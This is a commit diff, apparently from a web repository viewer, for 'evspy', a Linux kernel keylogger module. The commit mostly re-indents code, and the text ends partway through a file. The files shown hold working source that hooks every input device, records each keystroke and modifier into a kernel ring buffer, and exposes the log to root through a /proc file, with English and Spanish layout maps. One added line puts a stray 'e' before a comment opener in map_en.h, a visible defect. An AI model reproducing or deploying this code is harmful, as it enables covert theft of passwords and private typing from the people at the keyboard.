aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--evspy-core.c306
-rw-r--r--evspy.h96
-rw-r--r--kmap/kmap.c118
-rw-r--r--kmap/kmap.h8
-rw-r--r--kmap/test_kmap.c78
-rw-r--r--maps/map_en.h94
-rw-r--r--maps/map_es.h134
-rw-r--r--maps/maps.h13
8 files changed, 424 insertions, 423 deletions
diff --git a/evspy-core.c b/evspy-core.c
index 64f5960..34abdb0 100644
--- a/evspy-core.c
+++ b/evspy-core.c
@@ -36,30 +36,30 @@ static unsigned short int altgr_on = 0;
* Executed when the procfs file is read (EVS_PROCNAME)
*/
static int evspy_read_proc(char *page, char **start, off_t offset, int count,
- int *eof, void *data)
+ int *eof, void *data)
{
- int n;
+ int n;
- if (current_uid() || current_euid()) { // root only plz
+ if (current_uid() || current_euid()) { // root only plz
#if EVS_TROLL == 1
- n = 36;
- if (offset)
- *eof = 1;
- else
- strncpy(page, "Trololololo lololo lololo\nhohohoho\n", n);
+ n = 36;
+ if (offset)
+ *eof = 1;
+ else
+ strncpy(page, "Trololololo lololo lololo\nhohohoho\n", n);
#else
- return -EPERM;
+ return -EPERM;
#endif
- } else { // copy fifo contents to the supplied buffer
- if (offset + count > PAGE_SIZE)
- count = PAGE_SIZE - offset;
+ } else { // copy fifo contents to the supplied buffer
+ if (offset + count > PAGE_SIZE)
+ count = PAGE_SIZE - offset;
- n = offset + kfifo_out(&cbuffer, page+offset, count);
+ n = offset + kfifo_out(&cbuffer, page+offset, count);
- if (kfifo_is_empty(&cbuffer))
- *eof = 1;
- }
- return n;
+ if (kfifo_is_empty(&cbuffer))
+ *eof = 1;
+ }
+ return n;
}
/*
@@ -67,189 +67,189 @@ static int evspy_read_proc(char *page, char **start, off_t offset, int count,
*/
static void special_char(unsigned int code, unsigned int value)
{
- char *sp_tag;
- int known = 1;
-
- // We need to know when some special keys are freed; add them here
- switch(code) {
- case KEY_LEFTSHIFT:
- case KEY_RIGHTSHIFT:
- case KEY_LEFTALT:
- case KEY_RIGHTALT:
- case KEY_LEFTCTRL:
- case KEY_RIGHTCTRL:
- case KEY_LEFTMETA:
- case KEY_RIGHTMETA:
- break;
- default:
- if (value == EVS_VAL_FREE)
- return;
- }
-
- switch(code) {
- case KEY_RIGHTSHIFT:
- case KEY_LEFTSHIFT:
- shift_on = value;
- return;
- case KEY_CAPSLOCK:
- capslock_on = !capslock_on;
- return;
- case KEY_LEFTALT:
- sp_tag = "[+ALT]";
- break;
- case KEY_RIGHTALT:
+ char *sp_tag;
+ int known = 1;
+
+ // We need to know when some special keys are freed; add them here
+ switch(code) {
+ case KEY_LEFTSHIFT:
+ case KEY_RIGHTSHIFT:
+ case KEY_LEFTALT:
+ case KEY_RIGHTALT:
+ case KEY_LEFTCTRL:
+ case KEY_RIGHTCTRL:
+ case KEY_LEFTMETA:
+ case KEY_RIGHTMETA:
+ break;
+ default:
+ if (value == EVS_VAL_FREE)
+ return;
+ }
+
+ switch(code) {
+ case KEY_RIGHTSHIFT:
+ case KEY_LEFTSHIFT:
+ shift_on = value;
+ return;
+ case KEY_CAPSLOCK:
+ capslock_on = !capslock_on;
+ return;
+ case KEY_LEFTALT:
+ sp_tag = "[+ALT]";
+ break;
+ case KEY_RIGHTALT:
#ifdef EVS_ALTGR_ENABLED
- altgr_on = !altgr_on;
- return;
+ altgr_on = !altgr_on;
+ return;
#else
- sp_tag = "[+ALTGR]";
- break;
+ sp_tag = "[+ALTGR]";
+ break;
#endif
- case KEY_LEFTCTRL:
- case KEY_RIGHTCTRL:
- sp_tag = "[+CTRL]";
- break;
- case KEY_LEFTMETA:
- case KEY_RIGHTMETA:
- sp_tag = "[+META]";
- break;
- case KEY_TAB:
- sp_tag = "[TAB]";
- break;
- case KEY_BACKSPACE:
- sp_tag = "[<<]";
- break;
- case KEY_ESC:
- sp_tag = "[ESC]";
- break;
- case KEY_UP:
- sp_tag = "[UP]";
- break;
- case KEY_DOWN:
- sp_tag = "[DOWN]";
- break;
- case KEY_LEFT:
- sp_tag = "[LEFT]";
- break;
- case KEY_RIGHT:
- sp_tag = "[RIGHT]";
- break;
- default:
- known = 0;
- }
-
- if (!known && evs_isfX(code)) // !known is redundant, but it saves cycles
- sp_tag = "[+FX]";
- else if (!known)
- return;
-
- if (value == EVS_VAL_PRESS && (sp_tag[1] == '+' || sp_tag[1] == '-'))
- sp_tag[1] = '+';
- else if (value == EVS_VAL_FREE)
- sp_tag[1] = '-';
-
- while (*sp_tag)
- evs_insert(&cbuffer, sp_tag++);
+ case KEY_LEFTCTRL:
+ case KEY_RIGHTCTRL:
+ sp_tag = "[+CTRL]";
+ break;
+ case KEY_LEFTMETA:
+ case KEY_RIGHTMETA:
+ sp_tag = "[+META]";
+ break;
+ case KEY_TAB:
+ sp_tag = "[TAB]";
+ break;
+ case KEY_BACKSPACE:
+ sp_tag = "[<<]";
+ break;
+ case KEY_ESC:
+ sp_tag = "[ESC]";
+ break;
+ case KEY_UP:
+ sp_tag = "[UP]";
+ break;
+ case KEY_DOWN:
+ sp_tag = "[DOWN]";
+ break;
+ case KEY_LEFT:
+ sp_tag = "[LEFT]";
+ break;
+ case KEY_RIGHT:
+ sp_tag = "[RIGHT]";
+ break;
+ default:
+ known = 0;
+ }
+
+ if (!known && evs_isfX(code)) // !known is redundant, but it saves cycles
+ sp_tag = "[+FX]";
+ else if (!known)
+ return;
+
+ if (value == EVS_VAL_PRESS && (sp_tag[1] == '+' || sp_tag[1] == '-'))
+ sp_tag[1] = '+';
+ else if (value == EVS_VAL_FREE)
+ sp_tag[1] = '-';
+
+ while (*sp_tag)
+ evs_insert(&cbuffer, sp_tag++);
}
static void evspy_event(struct input_handle *handle, unsigned int type,
- unsigned int code, int value)
+ unsigned int code, int value)
{
- // Ignore non-key and hold events
- if (type != EV_KEY || unlikely(value == EVS_VAL_HOLD)) {
- return;
+ // Ignore non-key and hold events
+ if (type != EV_KEY || unlikely(value == EVS_VAL_HOLD)) {
+ return;
- // Special/unknown keys (alt, ctrl, esc, shift, etc)
- } else if (code >= sizeof(map) || (map[code] == '.' &&
- likely(code != KEY_DOT))) {
- special_char(code, value);
+ // Special/unknown keys (alt, ctrl, esc, shift, etc)
+ } else if (code >= sizeof(map) || (map[code] == '.' &&
+ likely(code != KEY_DOT))) {
+ special_char(code, value);
- // "Immediate" keys (alphanumeric + some symbols)
- } else if (value == EVS_VAL_PRESS) {
+ // "Immediate" keys (alphanumeric + some symbols)
+ } else if (value == EVS_VAL_PRESS) {
#ifdef EVS_ALTGR_ENABLED
- if (altgr_on)
- evs_insert(&cbuffer, evs_altgr(code));
- else
+ if (altgr_on)
+ evs_insert(&cbuffer, evs_altgr(code));
+ else
#endif
- if (shift_on || capslock_on)
- evs_insert(&cbuffer, evs_shift(code));
- else
- evs_insert(&cbuffer, &map[code]);
- }
+ if (shift_on || capslock_on)
+ evs_insert(&cbuffer, evs_shift(code));
+ else
+ evs_insert(&cbuffer, &map[code]);
+ }
}
static int evspy_connect(struct input_handler *handler, struct input_dev *dev,
- const struct input_device_id *id)
+ const struct input_device_id *id)
{
- struct input_handle *handle;
- int error;
+ struct input_handle *handle;
+ int error;
- handle = kzalloc(sizeof(struct input_handle), GFP_KERNEL);
- if (!handle)
- return -ENOMEM;
+ handle = kzalloc(sizeof(struct input_handle), GFP_KERNEL);
+ if (!handle)
+ return -ENOMEM;
- handle->dev = dev;
- handle->handler = handler;
- handle->name = EVS_NAME;
+ handle->dev = dev;
+ handle->handler = handler;
+ handle->name = EVS_NAME;
- error = input_register_handle(handle);
- if (error)
- goto err_free_handle;
+ error = input_register_handle(handle);
+ if (error)
+ goto err_free_handle;
- error = input_open_device(handle);
- if (error)
- goto err_unregister_handle;
+ error = input_open_device(handle);
+ if (error)
+ goto err_unregister_handle;
- return 0;
+ return 0;
err_unregister_handle:
- input_unregister_handle(handle);
+ input_unregister_handle(handle);
err_free_handle:
- kfree(handle);
- return error;
+ kfree(handle);
+ return error;
}
static void evspy_disconnect(struct input_handle *handle)
{
- input_close_device(handle);
- input_unregister_handle(handle);
- kfree(handle);
+ input_close_device(handle);
+ input_unregister_handle(handle);
+ kfree(handle);
}
static const struct input_device_id evspy_ids[] = {
- { .driver_info = 1 }, /* Matches all devices */
- { }, /* Terminating zero entry */
+ { .driver_info = 1 }, /* Matches all devices */
+ { }, /* Terminating zero entry */
};
MODULE_DEVICE_TABLE(input, evspy_ids);
static struct input_handler evspy_handler = {
- .event = evspy_event,
- .connect = evspy_connect,
- .disconnect = evspy_disconnect,
- .name = EVS_NAME,
- .id_table = evspy_ids,
+ .event = evspy_event,
+ .connect = evspy_connect,
+ .disconnect = evspy_disconnect,
+ .name = EVS_NAME,
+ .id_table = evspy_ids,
};
static int __init evspy_init(void)
{
- create_proc_read_entry(EVS_PROCNAME, 0, NULL, evspy_read_proc, NULL);
- init_shiftmap();
+ create_proc_read_entry(EVS_PROCNAME, 0, NULL, evspy_read_proc, NULL);
+ init_shiftmap();
#ifdef EVS_ALTGR_ENABLED
- init_altgrmap();
+ init_altgrmap();
#endif
- INIT_KFIFO(cbuffer);
- return input_register_handler(&evspy_handler);
+ INIT_KFIFO(cbuffer);
+ return input_register_handler(&evspy_handler);
}
static void __exit evspy_exit(void)
{
- input_unregister_handler(&evspy_handler);
+ input_unregister_handler(&evspy_handler);
#ifdef EVS_ALTGR_ENABLED
- exit_altgrmap();
+ exit_altgrmap();
#endif
- exit_shiftmap();
- remove_proc_entry(EVS_PROCNAME, NULL);
+ exit_shiftmap();
+ remove_proc_entry(EVS_PROCNAME, NULL);
}
module_init(evspy_init);
diff --git a/evspy.h b/evspy.h
index 3621cba..30122a1 100644
--- a/evspy.h
+++ b/evspy.h
@@ -38,78 +38,78 @@
#include "kmap/kmap.h"
// Keyboard layouts
-#define EVS_KLAY_EN 0
-#define EVS_KLAY_ES 1
+#define EVS_KLAY_EN 0
+#define EVS_KLAY_ES 1
-#define EVS_NAME "evspy" // driver name
-#define EVS_KLAY EVS_KLAY_ES // change this to your keyboard layout
-#define EVS_TROLL 1 // clear this if you're a serious guy
-#define EVS_BUFSIZE (1<<15) // 32K // size of the circular buffer
-#define EVS_PROCNAME "driver/" EVS_NAME // virtual file within /proc
+#define EVS_NAME "evspy" // driver name
+#define EVS_KLAY EVS_KLAY_ES // change this to your keyboard layout
+#define EVS_TROLL 1 // clear this if you're a serious guy
+#define EVS_BUFSIZE (1<<15) // 32K // size of the circular buffer
+#define EVS_PROCNAME ("driver/" EVS_NAME) // virtual file within /proc
#include "maps/maps.h"
// Event values
-#define EVS_VAL_FREE 0
-#define EVS_VAL_PRESS 1
-#define EVS_VAL_HOLD 2
+#define EVS_VAL_FREE 0
+#define EVS_VAL_PRESS 1
+#define EVS_VAL_HOLD 2
#define is_ascii(c) (map[c] >= 'a' && map[c] <= 'z')
/*
* Insert character c into the circular buffer pointed by fifop
*/
-#define evs_insert(fifop, c) \
-({ \
- if (kfifo_is_full(fifop)) \
- kfifo_skip(fifop); \
- kfifo_put((fifop), c); \
-})
+#define evs_insert(fifop, c) \
+ ({ \
+ if (kfifo_is_full(fifop)) \
+ kfifo_skip(fifop); \
+ kfifo_put((fifop), c); \
+ })
/*
* Is the c event code associated to any of the FX buttons?
*/
-#define evs_isfX(c) \
-({ \
- ((c) >= KEY_F1 && (c) <= KEY_F10) || \
- ((c) == KEY_F11 || (c) == KEY_F12) || \
- ((c) >= KEY_F13 && (c) <= KEY_F24); \
-})
+#define evs_isfX(c) \
+ ({ \
+ ((c) >= KEY_F1 && (c) <= KEY_F10) || \
+ ((c) == KEY_F11 || (c) == KEY_F12) || \
+ ((c) >= KEY_F13 && (c) <= KEY_F24); \
+ })
/*
* Returns the character associated with event code c when shift is pressed
*/
-#define evs_shift(c) \
-({ \
- void *__vp; \
- char __c; \
- if ((shift_on != capslock_on) && is_ascii(c)) { \
- __c = map[c] + ('A'-'a'); \
- } else if (is_ascii(c) || !shift_on) { \
- __c = map[c]; \
- } else { \
- if ((__vp = kmap_get(skm, (c)))) \
- __c = *(char *)__vp; \
- else \
- __c = map[c]; \
- } \
- &__c; \
-})
+#define evs_shift(c) \
+ ({ \
+ void *__vp; \
+ char __c; \
+ if ((shift_on != capslock_on) && is_ascii(c)) { \
+ __c = map[c] + ('A'-'a'); \
+ } else if (is_ascii(c) || !shift_on) { \
+ __c = map[c]; \
+ } else { \
+ if ((__vp = kmap_get(skm, (c)))) \
+ __c = *(char *)__vp; \
+ else \
+ __c = map[c]; \
+ } \
+ &__c; \
+ })
/*
* Returns the character associated with event code c when altgr is pressed
*/
#ifdef EVS_ALTGR_ENABLED
-#define evs_altgr(c) \
-({ \
- void *__vp; \
- char __c; \
- __vp = kmap_get(akm, (c)); \
- if (__vp) __c = *(char *)__vp; \
- else __c = map[c]; \
- &__c; \
-})
+#define evs_altgr(c) \
+ ({ \
+ void *__vp; \
+ char __c; \
+ __vp = kmap_get(akm, (c)); \
+ if (__vp) __c = *(char *)__vp; \
+ else __c = map[c]; \
+ &__c; \
+ })
#endif
-#endif /* _EVSPY_H */
+#endif /* _EVSPY_H */
diff --git a/kmap/kmap.c b/kmap/kmap.c
index 2db6b82..8557796 100644
--- a/kmap/kmap.c
+++ b/kmap/kmap.c
@@ -29,16 +29,16 @@
*/
static inline struct kmap *kmap_search(struct kmap *head, int value)
{
- struct list_head *list;
- struct kmap *node;
+ struct list_head *list;
+ struct kmap *node;
- list_for_each(list, &head->l) {
- node = list_entry(list, struct kmap, l);
- if (node->value == value)
- return node;
- }
+ list_for_each(list, &head->l) {
+ node = list_entry(list, struct kmap, l);
+ if (node->value == value)
+ return node;
+ }
- return NULL;
+ return NULL;
}
/*
@@ -46,15 +46,15 @@ static inline struct kmap *kmap_search(struct kmap *head, int value)
*/
void kmap_display(struct kmap *head)
{
- struct kmap *node;
- struct list_head *list;
-
- printk(KERN_ALERT "Displaying...");
- list_for_each(list, &head->l) {
- node = list_entry(list, struct kmap, l);
- printk(KERN_ALERT " %p: v=%d d=%s\n",
- node, node->value, (char*)node->data);
- }
+ struct kmap *node;
+ struct list_head *list;
+
+ printk(KERN_ALERT "Displaying...");
+ list_for_each(list, &head->l) {
+ node = list_entry(list, struct kmap, l);
+ printk(KERN_ALERT " %p: v=%d d=%s\n",
+ node, node->value, (char*)node->data);
+ }
}
/*
@@ -62,15 +62,15 @@ void kmap_display(struct kmap *head)
*/
inline struct kmap *kmap_create(void)
{
- struct kmap *head;
+ struct kmap *head;
- head = kmalloc(sizeof(struct kmap), GFP_KERNEL);
- if (unlikely(!head))
- return NULL;
+ head = kmalloc(sizeof(struct kmap), GFP_KERNEL);
+ if (unlikely(!head))
+ return NULL;
- INIT_LIST_HEAD(&head->l);
+ INIT_LIST_HEAD(&head->l);
- return head;
+ return head;
}
/*
@@ -78,16 +78,16 @@ inline struct kmap *kmap_create(void)
*/
void kmap_destroy(struct kmap *head)
{
- struct kmap *node;
- struct list_head *list = head->l.next;
+ struct kmap *node;
+ struct list_head *list = head->l.next;
- while (list != &head->l) {
- node = list_entry(list, struct kmap, l);
- list = list->next;
- kfree(node);
- }
+ while (list != &head->l) {
+ node = list_entry(list, struct kmap, l);
+ list = list->next;
+ kfree(node);
+ }
- kfree(head);
+ kfree(head);
}
/*
@@ -95,21 +95,21 @@ void kmap_destroy(struct kmap *head)
*/
int kmap_insert(struct kmap *head, int value, void *data)
{
- struct kmap *new;
+ struct kmap *new;
- // Key already exists
- if (kmap_search(head, value))
- return -EINVAL;
+ // Key already exists
+ if (kmap_search(head, value))
+ return -EINVAL;
- new = kmap_create();
- if (unlikely(!new))
- return -ENOMEM;
+ new = kmap_create();
+ if (unlikely(!new))
+ return -ENOMEM;
- new->value = value;
- new->data = data;
- list_add_tail(&new->l, &head->l);
+ new->value = value;
+ new->data = data;
+ list_add_tail(&new->l, &head->l);
- return 0;
+ return 0;
}
/*
@@ -117,15 +117,15 @@ int kmap_insert(struct kmap *head, int value, void *data)
*/
int kmap_delete(struct kmap *head, int value)
{
- struct kmap *node = kmap_search(head, value);
-
- if (node) {
- list_del(&node->l);
- kfree(node);
- return 0;
- } else {
- return -EINVAL;
- }
+ struct kmap *node = kmap_search(head, value);
+
+ if (node) {
+ list_del(&node->l);
+ kfree(node);
+ return 0;
+ } else {
+ return -EINVAL;
+ }
}
/*
@@ -134,12 +134,12 @@ int kmap_delete(struct kmap *head, int value)
*/
void *kmap_get(struct kmap *head, int value)
{
- struct kmap *node = kmap_search(head, value);
+ struct kmap *node = kmap_search(head, value);
- if (node)
- return node->data;
- else
- return NULL;
+ if (node)
+ return node->data;
+ else
+ return NULL;
}
/*
@@ -147,8 +147,8 @@ void *kmap_get(struct kmap *head, int value)
*/
void kmap_set(struct kmap *head, int value, void *data)
{
- struct kmap *node = kmap_search(head, value);
+ struct kmap *node = kmap_search(head, value);
- if (node)
- node->data = data;
+ if (node)
+ node->data = data;
}
diff --git a/kmap/kmap.h b/kmap/kmap.h
index c15c77a..edfd1ac 100644
--- a/kmap/kmap.h
+++ b/kmap/kmap.h
@@ -26,9 +26,9 @@
struct kmap {
- struct list_head l;
- int value;
- void *data;
+ struct list_head l;
+ int value;
+ void *data;
};
struct kmap *kmap_create(void);
@@ -40,4 +40,4 @@ void kmap_set(struct kmap *head, int value, void *data);
void kmap_display(struct kmap *head);
-#endif /* _KMAP_H */
+#endif /* _KMAP_H */
diff --git a/kmap/test_kmap.c b/kmap/test_kmap.c
index 577eeb5..3fb3255 100644
--- a/kmap/test_kmap.c
+++ b/kmap/test_kmap.c
@@ -2,62 +2,62 @@
#include <linux/init.h>
#include "kmap.h"
-#define Z_ASD 1
-#define Z_QWE 2
-#define Z_BLR 3
+#define Z_ASD 1
+#define Z_QWE 2
+#define Z_BLR 3
static struct kmap *km;
static int __init test_init(void)
{
- char *values;
+ char *values;
- km = kmap_create();
+ km = kmap_create();
- if ((values = (char*)kmap_get(km, Z_BLR)))
- printk(KERN_ALERT "ERROR: Z_BLR exists: %s\n", values);
- else
- printk(KERN_ALERT "Z_BLR does not exist (good)\n");
+ if ((values = (char*)kmap_get(km, Z_BLR)))
+ printk(KERN_ALERT "ERROR: Z_BLR exists: %s\n", values);
+ else
+ printk(KERN_ALERT "Z_BLR does not exist (good)\n");
- if (kmap_insert(km, Z_ASD, "ASDF"))
- goto insert_err;
- if (kmap_insert(km, Z_QWE, "QWERTY"))
- goto insert_err;
- if (kmap_insert(km, Z_BLR, "BLRBLRBLR"))
- goto insert_err;
+ if (kmap_insert(km, Z_ASD, "ASDF"))
+ goto insert_err;
+ if (kmap_insert(km, Z_QWE, "QWERTY"))
+ goto insert_err;
+ if (kmap_insert(km, Z_BLR, "BLRBLRBLR"))
+ goto insert_err;
- kmap_display(km);
- kmap_delete(km, Z_QWE);
- kmap_display(km);
- kmap_set(km, Z_ASD, "ASDF NEW!!");
- kmap_display(km);
+ kmap_display(km);
+ kmap_delete(km, Z_QWE);
+ kmap_display(km);
+ kmap_set(km, Z_ASD, "ASDF NEW!!");
+ kmap_display(km);
- if ((values = (char*)kmap_get(km, Z_ASD)))
- printk(KERN_ALERT "Z_ASD: %s\n", values);
- else
- printk(KERN_ALERT "Z_ASD does not exist\n");
- if ((values = (char*)kmap_get(km, Z_QWE)))
- printk(KERN_ALERT "Z_QWE: %s\n", values);
- else
- printk(KERN_ALERT "Z_QWE does not exist\n");
- if ((values = (char*)kmap_get(km, Z_BLR)))
- printk(KERN_ALERT "Z_BLR: %s\n", values);
- else
- printk(KERN_ALERT "Z_BLR does not exist\n");
+ if ((values = (char*)kmap_get(km, Z_ASD)))
+ printk(KERN_ALERT "Z_ASD: %s\n", values);
+ else
+ printk(KERN_ALERT "Z_ASD does not exist\n");
+ if ((values = (char*)kmap_get(km, Z_QWE)))
+ printk(KERN_ALERT "Z_QWE: %s\n", values);
+ else
+ printk(KERN_ALERT "Z_QWE does not exist\n");
+ if ((values = (char*)kmap_get(km, Z_BLR)))
+ printk(KERN_ALERT "Z_BLR: %s\n", values);
+ else
+ printk(KERN_ALERT "Z_BLR does not exist\n");
- if (kmap_insert(km, Z_ASD, "REPEATED!!"))
- goto insert_err;
+ if (kmap_insert(km, Z_ASD, "REPEATED!!"))
+ goto insert_err;
- return 0;
+ return 0;
-insert_err:
- printk(KERN_ALERT "Error inserting (good)\n");
- return 0;
+ insert_err:
+ printk(KERN_ALERT "Error inserting (good)\n");
+ return 0;
}
static void __exit test_exit(void)
{
- kmap_destroy(km);
+ kmap_destroy(km);
}
module_init(test_init);
diff --git a/maps/map_en.h b/maps/map_en.h
index 2e88bf4..4dfb679 100644
--- a/maps/map_en.h
+++ b/maps/map_en.h
@@ -1,4 +1,4 @@
-/*
+e/*
* ## ENGLISH KEYBOARD LAYOUT ## *
*
*/
@@ -8,64 +8,64 @@
// Shift map
-#define EVS_SHIFT_BIND(KEY, VALUE) kmap_insert(skm, (KEY), (VALUE))
+#define EVS_SHIFT_BIND(KEY, VALUE) kmap_insert(skm, (KEY), (VALUE))
static struct kmap *skm;
static void init_shiftmap(void)
{
- skm = kmap_create();
- EVS_SHIFT_BIND(KEY_1, "!");
- EVS_SHIFT_BIND(KEY_2, "@");
- EVS_SHIFT_BIND(KEY_3, "#");
- EVS_SHIFT_BIND(KEY_4, "$");
- EVS_SHIFT_BIND(KEY_5, "%");
- EVS_SHIFT_BIND(KEY_6, "^");
- EVS_SHIFT_BIND(KEY_7, "&");
- EVS_SHIFT_BIND(KEY_8, "*");
- EVS_SHIFT_BIND(KEY_9, "(");
- EVS_SHIFT_BIND(KEY_0, ")");
- EVS_SHIFT_BIND(KEY_MINUS, "_");
- EVS_SHIFT_BIND(KEY_EQUAL, "+");
- EVS_SHIFT_BIND(KEY_LEFTBRACE, "{");
- EVS_SHIFT_BIND(KEY_RIGHTBRACE, "}");
- EVS_SHIFT_BIND(KEY_SEMICOLON, ":");
- EVS_SHIFT_BIND(KEY_APOSTROPHE, "\"");
- EVS_SHIFT_BIND(KEY_GRAVE, "|");
- EVS_SHIFT_BIND(KEY_BACKSLASH, "|");
- EVS_SHIFT_BIND(KEY_COMMA, "<");
- EVS_SHIFT_BIND(KEY_DOT, ">");
- EVS_SHIFT_BIND(KEY_SLASH, "?");
- EVS_SHIFT_BIND(KEY_102ND, ">");
+ skm = kmap_create();
+ EVS_SHIFT_BIND(KEY_1, "!");
+ EVS_SHIFT_BIND(KEY_2, "@");
+ EVS_SHIFT_BIND(KEY_3, "#");
+ EVS_SHIFT_BIND(KEY_4, "$");
+ EVS_SHIFT_BIND(KEY_5, "%");
+ EVS_SHIFT_BIND(KEY_6, "^");
+ EVS_SHIFT_BIND(KEY_7, "&");
+ EVS_SHIFT_BIND(KEY_8, "*");
+ EVS_SHIFT_BIND(KEY_9, "(");
+ EVS_SHIFT_BIND(KEY_0, ")");
+ EVS_SHIFT_BIND(KEY_MINUS, "_");
+ EVS_SHIFT_BIND(KEY_EQUAL, "+");
+ EVS_SHIFT_BIND(KEY_LEFTBRACE, "{");
+ EVS_SHIFT_BIND(KEY_RIGHTBRACE, "}");
+ EVS_SHIFT_BIND(KEY_SEMICOLON, ":");
+ EVS_SHIFT_BIND(KEY_APOSTROPHE, "\"");
+ EVS_SHIFT_BIND(KEY_GRAVE, "|");
+ EVS_SHIFT_BIND(KEY_BACKSLASH, "|");
+ EVS_SHIFT_BIND(KEY_COMMA, "<");
+ EVS_SHIFT_BIND(KEY_DOT, ">");
+ EVS_SHIFT_BIND(KEY_SLASH, "?");
+ EVS_SHIFT_BIND(KEY_102ND, ">");
}
static inline void exit_shiftmap(void)
{
- kmap_destroy(skm);
+ kmap_destroy(skm);
}
static char map[] = {
- '.', '.', '1', '2', '3', //0 // 1:ESC
- '4', '5', '6', '7', '8', //5
- '9', '0', '-', '=', '.', //10 // 14:BACKSPACE
- '.', 'q', 'w', 'e', 'r', //15 // 15:TAB
- 't', 'y', 'u', 'i', 'o', //20
- 'p', '[', ']', '\n', '.', //25 // 29:LCTRL
- 'a', 's', 'd', 'f', 'g', //30
- 'h', 'j', 'k', 'l', ';', //35
- '\'', '.', '.', '\\', 'z', //40 // 42:LMAYUS
- 'x', 'c', 'v', 'b', 'n', //45
- 'm', ',', '.', '/', '.', //50 // 52:. 54:RMAYUS
- '*', '.', ' ', '.', '.', //55 // 56:ALT 58:BLKMAYUS 59-68:F1-F10
- '.', '.', '.', '.', '.', //60
- '.', '.', '.', '.', '.', //65
- '.', '7', '8', '9', '-', //70
- '4', '5', '6', '+', '1', //75
- '2', '3', '.', '.', '.', //80
- '.', '<', '.', '.', '.', //85
- '.', '.', '.', '.', '.', //90
- '.', '\n', '.', '/', '.', //95 // 97:RCTRL
+ '.', '.', '1', '2', '3', // 0 // 1:ESC
+ '4', '5', '6', '7', '8', // 5
+ '9', '0', '-', '=', '.', // 10 // 14:BACKSPACE
+ '.', 'q', 'w', 'e', 'r', // 15 // 15:TAB
+ 't', 'y', 'u', 'i', 'o', // 20
+ 'p', '[', ']', '\n', '.', // 25 // 29:LCTRL
+ 'a', 's', 'd', 'f', 'g', // 30
+ 'h', 'j', 'k', 'l', ';', // 35
+ '\'', '.', '.', '\\', 'z', // 40 // 42:LMAYUS
+ 'x', 'c', 'v', 'b', 'n', // 45
+ 'm', ',', '.', '/', '.', // 50 // 52:. 54:RMAYUS
+ '*', '.', ' ', '.', '.', // 55 // 56:ALT 58:BLKMAYUS 59-68:F1-F10
+ '.', '.', '.', '.', '.', // 60
+ '.', '.', '.', '.', '.', // 65
+ '.', '7', '8', '9', '-', // 70
+ '4', '5', '6', '+', '1', // 75
+ '2', '3', '.', '.', '.', // 80
+ '.', '<', '.', '.', '.', // 85
+ '.', '.', '.', '.', '.', // 90
+ '.', '\n', '.', '/', '.', // 95 // 97:RCTRL
};
-#endif // __EVS_MAP_EN
+#endif // __EVS_MAP_EN
diff --git a/maps/map_es.h b/maps/map_es.h
index 67edf33..cf1b823 100644
--- a/maps/map_es.h
+++ b/maps/map_es.h
@@ -9,97 +9,97 @@
// Right Alt (ALTGR) map
#define EVS_ALTGR_ENABLED
-#define EVS_ALTGR_BIND(KEY, VALUE) kmap_insert(akm, (KEY), (VALUE))
+#define EVS_ALTGR_BIND(KEY, VALUE) kmap_insert(akm, (KEY), (VALUE))
static struct kmap *akm;
static void init_altgrmap(void)
{
- akm = kmap_create();
- EVS_ALTGR_BIND(KEY_1, "|");
- EVS_ALTGR_BIND(KEY_2, "@");
- EVS_ALTGR_BIND(KEY_3, "#");
- EVS_ALTGR_BIND(KEY_4, "~");
-// EVS_ALTGR_BIND(KEY_5, "½"); // TODO enable
-// EVS_ALTGR_BIND(KEY_6, "¬"); // TODO enable
- EVS_ALTGR_BIND(KEY_7, "{");
- EVS_ALTGR_BIND(KEY_8, "[");
- EVS_ALTGR_BIND(KEY_9, "]");
- EVS_ALTGR_BIND(KEY_0, "}");
- EVS_ALTGR_BIND(KEY_MINUS, "\\");
- EVS_ALTGR_BIND(KEY_EQUAL, "~");
- EVS_ALTGR_BIND(KEY_LEFTBRACE, "[");
- EVS_ALTGR_BIND(KEY_RIGHTBRACE, "]");
- EVS_ALTGR_BIND(KEY_SEMICOLON, "~");
- EVS_ALTGR_BIND(KEY_APOSTROPHE, "{");
- EVS_ALTGR_BIND(KEY_GRAVE, "}");
- EVS_ALTGR_BIND(KEY_BACKSLASH, "}");
- EVS_ALTGR_BIND(KEY_COMMA, "─");
-// EVS_ALTGR_BIND(KEY_DOT, "·"); // TODO enable
- EVS_ALTGR_BIND(KEY_102ND, "|");
+ akm = kmap_create();
+ EVS_ALTGR_BIND(KEY_1, "|");
+ EVS_ALTGR_BIND(KEY_2, "@");
+ EVS_ALTGR_BIND(KEY_3, "#");
+ EVS_ALTGR_BIND(KEY_4, "~");
+ // EVS_ALTGR_BIND(KEY_5, "½"); // TODO enable
+ // EVS_ALTGR_BIND(KEY_6, "¬"); // TODO enable
+ EVS_ALTGR_BIND(KEY_7, "{");
+ EVS_ALTGR_BIND(KEY_8, "[");
+ EVS_ALTGR_BIND(KEY_9, "]");
+ EVS_ALTGR_BIND(KEY_0, "}");
+ EVS_ALTGR_BIND(KEY_MINUS, "\\");
+ EVS_ALTGR_BIND(KEY_EQUAL, "~");
+ EVS_ALTGR_BIND(KEY_LEFTBRACE, "[");
+ EVS_ALTGR_BIND(KEY_RIGHTBRACE, "]");
+ EVS_ALTGR_BIND(KEY_SEMICOLON, "~");
+ EVS_ALTGR_BIND(KEY_APOSTROPHE, "{");
+ EVS_ALTGR_BIND(KEY_GRAVE, "}");
+ EVS_ALTGR_BIND(KEY_BACKSLASH, "}");
+ EVS_ALTGR_BIND(KEY_COMMA, "─");
+ // EVS_ALTGR_BIND(KEY_DOT, "·"); // TODO enable
+ EVS_ALTGR_BIND(KEY_102ND, "|");
}
static inline void exit_altgrmap(void)
{
- kmap_destroy(akm);
+ kmap_destroy(akm);
}
// Shift map
-#define EVS_SHIFT_BIND(KEY, VALUE) kmap_insert(skm, (KEY), (VALUE))
+#define EVS_SHIFT_BIND(KEY, VALUE) kmap_insert(skm, (KEY), (VALUE))
static struct kmap *skm;
static void init_shiftmap(void)
{
- skm = kmap_create();
- EVS_SHIFT_BIND(KEY_1, "!");
- EVS_SHIFT_BIND(KEY_2, "\"");
- EVS_SHIFT_BIND(KEY_4, "$");
- EVS_SHIFT_BIND(KEY_5, "%");
- EVS_SHIFT_BIND(KEY_6, "&");
- EVS_SHIFT_BIND(KEY_7, "/");
- EVS_SHIFT_BIND(KEY_8, "(");
- EVS_SHIFT_BIND(KEY_9, ")");
- EVS_SHIFT_BIND(KEY_0, "=");
- EVS_SHIFT_BIND(KEY_MINUS, "?");
